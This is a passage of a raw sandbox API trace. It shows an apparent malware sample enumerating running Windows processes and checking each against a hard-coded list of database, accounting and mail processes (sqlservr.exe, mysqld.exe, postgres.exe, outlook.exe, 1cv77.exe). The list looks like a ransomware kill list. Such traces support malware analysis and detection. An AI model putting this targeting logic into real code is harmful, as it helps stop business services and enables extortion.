(lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0077.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0077.012] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f81fa8 | out: hHeap=0x5d0000) returned 1 [0077.012] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x218 [0077.017] Process32FirstW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0077.017] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0077.018] lstrlenW (lpString="System") returned 6 [0077.018] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0077.018] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0077.018] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0077.018] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0077.018] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0077.018] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0077.018] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0077.018] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0077.018] lstrlenW (lpString="smss.exe") returned 8 [0077.018] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0077.018] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0077.018] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0077.018] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0077.018] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0077.019] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0077.019] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0077.019] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0077.019] lstrlenW (lpString="csrss.exe") returned 9 [0077.019] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0077.019] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0077.019] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0077.019] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0077.019] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0077.019] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0077.019] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0077.019] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0077.020] lstrlenW (lpString="wininit.exe") returned 11 [0077.020] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0077.020] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0077.020] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0077.020] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0077.020] lstrlenW (lpString="csrss.exe") returned 9 [0077.021] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0077.021] lstrlenW (lpString="winlogon.exe") returned 12 [0077.021] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0077.022] lstrlenW (lpString="services.exe") returned 12 [0077.022] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0077.022] lstrlenW (lpString="lsass.exe") returned 9 [0077.022] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0077.023] lstrlenW (lpString="lsm.exe") returned 7 [0077.023] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.023] lstrlenW (lpString="svchost.exe") returned 11 [0077.023] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.024] lstrlenW (lpString="svchost.exe") returned 11 [0077.024] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.024] lstrlenW (lpString="svchost.exe") returned 11 [0077.024] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.025] lstrlenW (lpString="svchost.exe") returned 11 [0077.025] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.025] lstrlenW (lpString="svchost.exe") returned 11 [0077.025] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0077.026] lstrlenW (lpString="audiodg.exe") returned 11 [0077.026] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.026] lstrlenW (lpString="svchost.exe") returned 11 [0077.026] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.027] lstrlenW (lpString="svchost.exe") returned 11 [0077.027] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0077.027] lstrlenW (lpString="dwm.exe") returned 7 [0077.027] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0077.028] lstrlenW (lpString="explorer.exe") returned 12 [0077.028] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0077.028] lstrlenW (lpString="spoolsv.exe") returned 11 [0077.028] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.029] lstrlenW (lpString="svchost.exe") returned 11 [0077.029] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0077.029] lstrlenW (lpString="taskhost.exe") returned 12 [0077.029] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0077.030] lstrlenW (lpString="taskeng.exe") returned 11 [0077.030] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoken.exe")) returned 1 [0077.031] lstrlenW (lpString="spoken.exe") returned 10 [0077.031] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cut baby kind.exe")) returned 1 [0077.031] lstrlenW (lpString="cut baby kind.exe") returned 17 [0077.031] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intelligence-jones.exe")) returned 1 [0077.032] lstrlenW (lpString="intelligence-jones.exe") returned 22 [0077.032] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="enterprises oscar hr.exe")) returned 1 [0077.032] lstrlenW (lpString="enterprises oscar hr.exe") returned 24 [0077.032] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="things apt speaker.exe")) returned 1 [0077.033] lstrlenW (lpString="things apt speaker.exe") returned 22 [0077.033] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="longest.exe")) returned 1 [0077.033] lstrlenW (lpString="longest.exe") returned 11 [0077.033] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="liberty.exe")) returned 1 [0077.034] lstrlenW (lpString="liberty.exe") returned 11 [0077.034] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="robust.exe")) returned 1 [0077.034] lstrlenW (lpString="robust.exe") returned 10 [0077.035] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="browse.exe")) returned 1 [0077.035] lstrlenW (lpString="browse.exe") returned 10 [0077.035] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused_mem_exotic.exe")) returned 1 [0077.036] lstrlenW (lpString="accused_mem_exotic.exe") returned 22 [0077.036] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blocked.exe")) returned 1 [0077.036] lstrlenW (lpString="blocked.exe") returned 11 [0077.036] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cope-characterization-larger.exe")) returned 1 [0077.037] lstrlenW (lpString="cope-characterization-larger.exe") returned 32 [0077.037] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="reno.exe")) returned 1 [0077.037] lstrlenW (lpString="reno.exe") returned 8 [0077.037] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="vancouver.exe")) returned 1 [0077.038] lstrlenW (lpString="vancouver.exe") returned 13 [0077.038] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="africa.exe")) returned 1 [0077.038] lstrlenW (lpString="africa.exe") returned 10 [0077.038] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ph-pos.exe")) returned 1 [0077.039] lstrlenW (lpString="ph-pos.exe") returned 10 [0077.039] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="johns inclusive alpine.exe")) returned 1 [0077.039] lstrlenW (lpString="johns inclusive alpine.exe") returned 26 [0077.039] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="peaceful.exe")) returned 1 [0077.040] lstrlenW (lpString="peaceful.exe") returned 12 [0077.040] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="louise_threshold.exe")) returned 1 [0077.040] lstrlenW (lpString="louise_threshold.exe") returned 20 [0077.040] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scannerhit.exe")) returned 1 [0077.041] lstrlenW (lpString="scannerhit.exe") returned 14 [0077.041] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0077.042] lstrlenW (lpString="3dftp.exe") returned 9 [0077.042] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0077.042] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0077.042] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0077.043] lstrlenW (lpString="alftp.exe") returned 9 [0077.043] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0077.044] lstrlenW (lpString="barca.exe") returned 9 [0077.044] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0077.044] lstrlenW (lpString="bitkinex.exe") returned 12 [0077.044] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0077.045] lstrlenW (lpString="coreftp.exe") returned 11 [0077.045] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0077.420] lstrlenW (lpString="far.exe") returned 7 [0077.420] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0077.421] lstrlenW (lpString="filezilla.exe") returned 13 [0077.421] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0077.422] lstrlenW (lpString="flashfxp.exe") returned 12 [0077.422] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0077.422] lstrlenW (lpString="fling.exe") returned 9 [0077.422] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0077.423] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0077.423] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0077.424] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0077.424] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0077.424] lstrlenW (lpString="icq.exe") returned 7 [0077.424] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0077.425] lstrlenW (lpString="leechftp.exe") returned 12 [0077.425] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0077.426] lstrlenW (lpString="ncftp.exe") returned 9 [0077.426] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0077.427] lstrlenW (lpString="notepad.exe") returned 11 [0077.427] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0077.428] lstrlenW (lpString="operamail.exe") returned 13 [0077.428] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0077.429] lstrlenW (lpString="pidgin.exe") returned 10 [0077.429] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0077.430] lstrlenW (lpString="scriptftp.exe") returned 13 [0077.430] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0077.431] lstrlenW (lpString="skype.exe") returned 9 [0077.431] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0077.432] lstrlenW (lpString="smartftp.exe") returned 12 [0077.432] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0077.433] lstrlenW (lpString="thunderbird.exe") returned 15 